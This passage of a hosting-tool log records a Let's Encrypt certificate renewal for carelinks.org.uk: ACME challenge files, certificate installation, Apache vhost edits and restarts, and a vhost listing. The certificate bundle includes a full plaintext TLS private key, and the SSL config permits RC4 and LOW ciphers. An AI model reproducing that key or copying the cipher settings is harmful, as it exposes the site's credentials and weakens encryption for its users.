6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-12-31 06:00:33: Establishing a connection
2025-12-31 06:00:33: Establishing a connection
2025-12-31 06:00:33: 

PUT: /tmp/pkp393011

#!/bin/bash
if [ -d "/var/www/carelinks-uk_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2025-12-31 06:00:33: 

chmod 755 /tmp/pkp393011; /tmp/pkp393011; rm /tmp/pkp393011

2025-12-31 06:00:33: 


1


2025-12-31 06:00:34: Establishing a connection
2025-12-31 06:00:34: 

PUT: /tmp/pkp556597

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cat > 5PM_RtwT6Ym0V3AfZzNXjvLdRMmBHT6bIMjR4KWuFcw <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
5PM_RtwT6Ym0V3AfZzNXjvLdRMmBHT6bIMjR4KWuFcw.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 5PM_RtwT6Ym0V3AfZzNXjvLdRMmBHT6bIMjR4KWuFcw
cat > 0CDV0QJdltqK5H-8hol-Ng00Qrap_jWkSrxVAPe95h8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
0CDV0QJdltqK5H-8hol-Ng00Qrap_jWkSrxVAPe95h8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 0CDV0QJdltqK5H-8hol-Ng00Qrap_jWkSrxVAPe95h8


2025-12-31 06:00:34: 

chmod 755 /tmp/pkp556597; /tmp/pkp556597; rm /tmp/pkp556597

2025-12-31 06:00:34: 




2025-12-31 06:00:45: Establishing a connection
2025-12-31 06:00:45: 

PUT: /tmp/pkp858424

#!/bin/bash
mkdir -p "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
cd "/var/www/carelinks-uk_www/.well-known/acme-challenge/"
rm 5PM_RtwT6Ym0V3AfZzNXjvLdRMmBHT6bIMjR4KWuFcw
rm 0CDV0QJdltqK5H-8hol-Ng00Qrap_jWkSrxVAPe95h8


2025-12-31 06:00:45: 

chmod 755 /tmp/pkp858424; /tmp/pkp858424; rm /tmp/pkp858424

2025-12-31 06:00:45: 




2025-12-31 06:00:45: Establishing a connection
2025-12-31 06:00:45: 

PUT: /tmp/pkp764830

#!/bin/bash
temp_file=$(mktemp)
TARGET=86cfc05b70ff27e9bd43265985e9e664.crt

cat > $temp_file <<'endmsg'
9e:e9:54:a9:b2:0e:08:41:75:66:fa:c9:e3:49:ec:a4

-----BEGIN CERTIFICATE-----
MIIFGjCCBAKgAwIBAgISBu3kdLRcg0/v9zKApzpKjKfAMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMjMxMDUwMjE0WhcNMjYwMzMxMDUwMjEzWjAbMRkwFwYDVQQD
ExBjYXJlbGlua3Mub3JnLnVrMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEAwER144zM2Q9cwDE11JnyJdSFu6JsKTdTVcnZnZl6315KnSViPEoaQcikZiBi
TpMiWOfEkF3fFNPigbzXeX2Odiu0XkJWH2lE+TKLzJaHSFkXgzCFJX96IgkigdpJ
zOKksYZX417HnNBys8l0Bz5qrOHYUXRpGVAFO6Tj93aUXBKyFMyuef+FDJirUffv
tfzU1CKMpQsgL2qe6F7SpVSBLHiMBH00scUn2loo8vp5oW/SrfvwLjRtchrAXUrX
+II5J+No8GR1EZcEsPfmqxukR8D/r/0jSsJQGzjuGTYjmNRcGy9mOl7/jEC44Xgn
GFv3pqUcVGIAgSrg7jQBVzse6wIDAQABo4ICPjCCAjowDgYDVR0PAQH/BAQDAgWg
MB0GA1UdJQQWMBQGCCsGAQUFBwMBBggrBgEFBQcDAjAMBgNVHRMBAf8EAjAAMB0G
A1UdDgQWBBT1RzC+yK3Oe4KyEqDMJYk2g2Gf7jAfBgNVHSMEGDAWgBTnq58PLDOg
U9NeT3jIsoQOO9aSMzAzBggrBgEFBQcBAQQnMCUwIwYIKwYBBQUHMAKGF2h0dHA6
Ly9yMTMuaS5sZW5jci5vcmcvMDEGA1UdEQQqMCiCEGNhcmVsaW5rcy5vcmcudWuC
FHd3dy5jYXJlbGlua3Mub3JnLnVrMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC4GA1Ud
HwQnMCUwI6AhoB+GHWh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvNjUuY3JsMIIBDAYK
KwYBBAHWeQIEAgSB/QSB+gD4AHYAZBHEbKQS7KeJHKICLgC8q08oB9QeNSer6v7V
A8l9zfAAAAGbcv6ROwAABAMARzBFAiEAiavGIIZxMuP4LJUBsJZddvcZOyCxEhEQ
TvTBh5OPiYwCIFA0I3mS1gWB7tJKmWZVYlzwZ/k3VLAv7JqM5O6xKVJQAH4Apcl4
kl1XRheChw3YiWYLXFVki30AQPLsB2hR0YhpGfcAAAGbcv6SHgAIAAAFAC1f0d4E
AwBHMEUCIQCYIj0xw1WzU1pCY1NtWeZbnXCf/cl8LtHrfxM9k/tkSgIgA5bncTFQ
hnqCYjD31GNQrRpwtiIw6veekZ5ZV05BI1cwDQYJKoZIhvcNAQELBQADggEBAGfS
FDge69ag2iI2YVKnZNTZz7OKNAdzqdiDhEKcvWEkuu+LZveomQeHHXfH7GmhSN+x
qPkysCQI6vUXsJzoA10ueaQBZBfB3ObRjGaLWlxz1sHb0r3h9P84k2WSlOJvZgzA
YOpNx4IZR9mybTMr9uKpPB0i+SPigTn+2Gbg6fazFkz+kQLisj5xlcffHcDdsBt9
QKFahOy59x27mFA44cma9ShrEK6Q4nBKcm510sXcVYFflMV0R6b3ogWkHubmZuS9
6imrW40+0MCcZjUxS3BEM+VlABec6i+7kd31LuHmH0VAB2lSc2oVBmrBeVVBzavN
/olrs+9An8FpInsfPRQ=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQDARHXjjMzZD1zA
MTXUmfIl1IW7omwpN1NVydmdmXrfXkqdJWI8ShpByKRmIGJOkyJY58SQXd8U0+KB
vNd5fY52K7ReQlYfaUT5MovMlodIWReDMIUlf3oiCSKB2knM4qSxhlfjXsec0HKz
yXQHPmqs4dhRdGkZUAU7pOP3dpRcErIUzK55/4UMmKtR9++1/NTUIoylCyAvap7o
XtKlVIEseIwEfTSxxSfaWijy+nmhb9Kt+/AuNG1yGsBdStf4gjkn42jwZHURlwSw
9+arG6RHwP+v/SNKwlAbOO4ZNiOY1FwbL2Y6Xv+MQLjheCcYW/empRxUYgCBKuDu
NAFXOx7rAgMBAAECggEAGSB5UFPaK53fLxDfVO8KNIPJ4cPazdIjVnQAOCFS67aC
Gs0ZbFak3XxaxoFXR6c2lxbcW0pL+V1YM0CvilBB2ii2XuvddH0d8fv3RYqrQxBo
SxFVZ+6j0qc4oW7FM/0ErVyox21fZJuLT1ALFVfvZLOelm/tEk1LucfqsQWyuDYm
P3G2oHdDo/w+5eSV6YE4vUFksi3Tlw4HeWcWGVPTKWDsrOoyHiKn8Lx39qLLgrRB
9cvTZIdf62VAzE7yP8URZu1WSlvdIqk6Bid/Gwr3nwMfdXiqjzyfBKHN6gJxkGJD
o6L2MNGXwaSmzwowHPCFoeQnECSgml2xePXjtrKafQKBgQD4gptmkh2ERpN3DSs+
TC4ygKTrcUl+z3TlduUckd4RijNLyoe02CUlCH5+CItxRiErehzXG7iIVcrmqakZ
n91kFJOjs1CQVL2q1+bu+I4gDP7MnwdYuVFxjnS7jwRXANbB+6h2xjGw/f7RYnga
NU0hIlsW29SXgTghiDo50Xb1jQKBgQDGD+jbKW3byuQI/UYromoIes/F3qFDBEeb
M7JY3Nn9KQuggX0h/JUxlJO3naEl89OAt9Nnyn3fzA7YNJLRIWSwXv67qwRqcsgV
iysQPZ4FSzDMDb5FMseoBMD5EpIETaFaFSCg0heABqff0txY+OX2MUMX45i2B9he
r4xaZItcVwKBgEDuv3QZkaTSXA2rXzUz6o4/ltf+DdoYks6yNkM0yfWDSsvu626R
W4NFqOd9jBHY5SnbClYaZCkbYZzLj+emIc7YoYsQe2h6++P77ddbEqfFPX5xvxWr
tmAZfN7VC6lACt08yFPgjXNVqpNDS2Ztru2NcIeUgQPlO6lnUu9wj8ixAoGAIjaz
WdCRSquEsszVp0n6GRbl919a6hG+MOBASbt06JeDi6lyrUFNoG/zCH/xS3YQLicT
HNXM4rEES3LhfcDP/OucA10qeRz01UviF38dYfq4Jjeli5yXAr43e48qrBWg7sfB
iCZiqtn7e92X9MKiLuIZnfHR+nfmd4zJqP+/VycCgYBe3NoREsC6SxzuAcy1lwOp
n1JNuk/lBR9DKCnl26DwNFHviN8hNo/JMIql5YJbYZxaHESOUs4DdUYiRW2Tdtlo
sL18lGquZcEVSK3RqZpnikDjsBX5D7iA7kLHxwVSxBWw4Atd2eyXgUSnuynwLFDU
rJUoihz8JvkuSNDmOZ5Y+g==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-12-31 06:00:45: 

chmod 755 /tmp/pkp764830; /tmp/pkp764830; rm /tmp/pkp764830

2025-12-31 06:00:45: 


dir=/etc/ssl/certs


2025-12-31 06:00:45: 

PUT: /tmp/pkp741024

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/carelinks_www_org-uk.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-12-31 06:00:45: 

chmod 755 /tmp/pkp741024; /tmp/pkp741024; rm /tmp/pkp741024

2025-12-31 06:00:45: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf 44

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>






2025-12-31 06:00:45: 

PUT: /tmp/pkp541610

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=carelinks_www_org-uk.conf
TARGET=/etc/apache2/sites-enabled/carelinks_www_org-uk.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks_www_org-uk.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks_www_org-uk.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks_www_org-uk.conf= 1'
fi


2025-12-31 06:00:45: 

chmod 755 /tmp/pkp541610; /tmp/pkp541610; rm /tmp/pkp541610

2025-12-31 06:00:46: 




2025-12-31 06:00:46: 

PUT: /tmp/pkp276471

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-12-31 06:00:46: 

chmod 755 /tmp/pkp276471; /tmp/pkp276471; rm /tmp/pkp276471

2025-12-31 06:00:46: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-31 06:00:46: Establishing a connection
2025-12-31 06:00:46: 

PUT: /tmp/pkp395747

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-12-31 06:00:46: 

chmod 755 /tmp/pkp395747; /tmp/pkp395747; rm /tmp/pkp395747

2025-12-31 06:00:46: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:2)
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:2)
                 alias www.carelinksoutreach.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblealive.us (/etc/apache2/sites-enabled/biblealive_www_us.conf:24)
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.au (/etc/apache2/sites-enabled/carelinks_www_org-au.conf:19)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost carelinksoutreach.info (/etc/apache2/sites-enabled/carelinksoutreach_www_info.conf:23)
                 alias www.carelinksoutreach.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:19)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:22)
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-12-31 06:00:46: 

PUT: /tmp/pkp266261

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks_www_org-uk.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-12-31 06:00:46: 

chmod 755 /tmp/pkp266261; /tmp/pkp266261; rm /tmp/pkp266261

2025-12-31 06:00:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks_www_org-uk.conf	1403

<VirtualHost *:80>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks.org.uk
    ServerAlias	www.carelinks.org.uk
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/86cfc05b70ff27e9bd43265985e9e664.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
